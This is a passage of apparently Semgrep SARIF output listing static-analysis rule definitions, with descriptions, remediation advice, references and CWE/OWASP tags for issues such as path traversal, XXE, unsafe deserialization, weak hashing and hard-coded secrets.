[https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask","id":"python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask","name":"python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a `$IMPORT` statement that comes from a `$REQ` argument. This could lead to NoSQL injection if the variable is user-controlled and is not properly sanitized. Be sure to properly sanitize the data if you absolutely must pass request data into a mongo query."},"help":{"markdown":"Detected a `$IMPORT` statement that comes from a `$REQ` argument. This could lead to NoSQL injection if the variable is user-controlled and is not properly sanitized. Be sure to properly sanitize the data if you absolutely must pass request data into a mongo query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli)\n - [https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf)\n","text":"Detected a `$IMPORT` statement that comes from a `$REQ` argument. This could lead to NoSQL injection if the variable is user-controlled and is not properly sanitized. Be sure to properly sanitize the data if you absolutely must pass request data into a mongo query."},"helpUri":"https://semgrep.dev/r/javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli","id":"javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli","name":"javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring","id":"java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring","name":"java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for any usage of http servers instead of https servers. Encourages the usage of https protocol instead of http, which does not have TLS and is therefore unencrypted. Using http can lead to man-in-the-middle attacks in which the attacker is able to read sensitive information."},"help":{"markdown":"Checks for any usage of http servers instead of https servers. Encourages the usage of https protocol instead of http, which does not have TLS and is therefore unencrypted. Using http can lead to man-in-the-middle attacks in which the attacker is able to read sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server)\n - [https://nodejs.org/api/http.html#http_class_http_agent](https://nodejs.org/api/http.html#http_class_http_agent)\n - [https://groups.google.com/g/rubyonrails-security/c/NCCsca7TEtY](https://groups.google.com/g/rubyonrails-security/c/NCCsca7TEtY)\n","text":"Checks for any usage of http servers instead of https servers. Encourages the usage of https protocol instead of http, which does not have TLS and is therefore unencrypted. Using http can lead to man-in-the-middle attacks in which the attacker is able to read sensitive information."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server","id":"problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server","name":"problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the MD5 hashing algorithm was identified which is considered insecure. MD5 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: MD5 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"help":{"markdown":"The use of the MD5 hashing algorithm was identified which is considered insecure. MD5 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: MD5 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the MD5 hashing algorithm was identified which is considered insecure. MD5 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: MD5 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5","id":"swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5","name":"swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret","id":"ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret","name":"ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of Apple's native XML Parser was observed where the parser is explicitly instructed to resolve external entities. This can lead to XXE attacks if untrusted input is parsed. Consider disabling this functionality where feasible."},"help":{"markdown":"Usage of Apple's native XML Parser was observed where the parser is explicitly instructed to resolve external entities. This can lead to XXE attacks if untrusted input is parsed. Consider disabling this functionality where feasible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.xml.should-resolve-xxe.swift-xxe-prevention)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/](https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"Usage of Apple's native XML Parser was observed where the parser is explicitly instructed to resolve external entities. This can lead to XXE attacks if untrusted input is parsed. Consider disabling this functionality where feasible."},"helpUri":"https://semgrep.dev/r/swift.lang.xml.should-resolve-xxe.swift-xxe-prevention","id":"swift.lang.xml.should-resolve-xxe.swift-xxe-prevention","name":"swift.lang.xml.should-resolve-xxe.swift-xxe-prevention","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.xml.should-resolve-xxe.swift-xxe-prevention"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted to Glacier Vault. This means anyone within your AWS account ID can perform actions on Glacier resources. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:<identity>`."},"help":{"markdown":"Detected wildcard access granted to Glacier Vault. This means anyone within your AWS account ID can perform actions on Glacier resources. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:<identity>`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected wildcard access granted to Glacier Vault. This means anyone within your AWS account ID can perform actions on Glacier resources. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:<identity>`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal","id":"terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal","name":"terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items with the accessibility type `kSecAttrAccessibleAlways` meaning that the data is not sufficiently protected at rest. Ideally, the application should use `kSecAttrAccessibleWhenUnlocked` to configure the data to be accessible only when the user has unlocked the screen."},"help":{"markdown":"The application was observed to store keychain items with the accessibility type `kSecAttrAccessibleAlways` meaning that the data is not sufficiently protected at rest. Ideally, the application should use `kSecAttrAccessibleWhenUnlocked` to configure the data to be accessible only when the user has unlocked the screen.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://blog.elcomsoft.com/2020/08/extracting-and-decrypting-ios-keychain-physical-logical-and-cloud-options-explored/](https://blog.elcomsoft.com/2020/08/extracting-and-decrypting-ios-keychain-physical-logical-and-cloud-options-explored/)\n","text":"The application was observed to store keychain items with the accessibility type `kSecAttrAccessibleAlways` meaning that the data is not sufficiently protected at rest. Ideally, the application should use `kSecAttrAccessibleWhenUnlocked` to configure the data to be accessible only when the user has unlocked the screen."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always","id":"swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always","name":"swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ERC721 onERC721Received() reentrancy"},"help":{"markdown":"ERC721 onERC721Received() reentrancy\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc721-reentrancy.erc721-reentrancy)\n - [https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a](https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a)\n - [https://etherscan.io/address/0x14e0a1f310e2b7e321c91f58847e98b8c802f6ef](https://etherscan.io/address/0x14e0a1f310e2b7e321c91f58847e98b8c802f6ef)\n","text":"ERC721 onERC721Received() reentrancy"},"helpUri":"https://semgrep.dev/r/solidity.security.erc721-reentrancy.erc721-reentrancy","id":"solidity.security.erc721-reentrancy.erc721-reentrancy","name":"solidity.security.erc721-reentrancy.erc721-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc721-reentrancy.erc721-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url","id":"rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url","name":"rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The host for this proxy URL is dynamically determined. This can be dangerous if the host can be injected by an attacker because it may forcibly alter destination of the proxy. Consider hardcoding acceptable destinations and retrieving them with 'map' or something similar."},"help":{"markdown":"The host for this proxy URL is dynamically determined. This can be dangerous if the host can be injected by an attacker because it may forcibly alter destination of the proxy. Consider hardcoding acceptable destinations and retrieving them with 'map' or something similar.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host)\n - [https://nginx.org/en/docs/http/ngx_http_map_module.html](https://nginx.org/en/docs/http/ngx_http_map_module.html)\n","text":"The host for this proxy URL is dynamically determined. This can be dangerous if the host can be injected by an attacker because it may forcibly alter destination of the proxy. Consider hardcoding acceptable destinations and retrieving them with 'map' or something similar."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host","id":"generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host","name":"generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host","properties":{"precision":"very-high","tags":["CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\"."},"help":{"markdown":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\"."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","id":"java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","name":"java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.use-of-md5.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.use-of-md5.use-of-md5","id":"kotlin.lang.security.use-of-md5.use-of-md5","name":"kotlin.lang.security.use-of-md5.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.use-of-md5.use-of-md5"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret","id":"csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret","name":"csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or 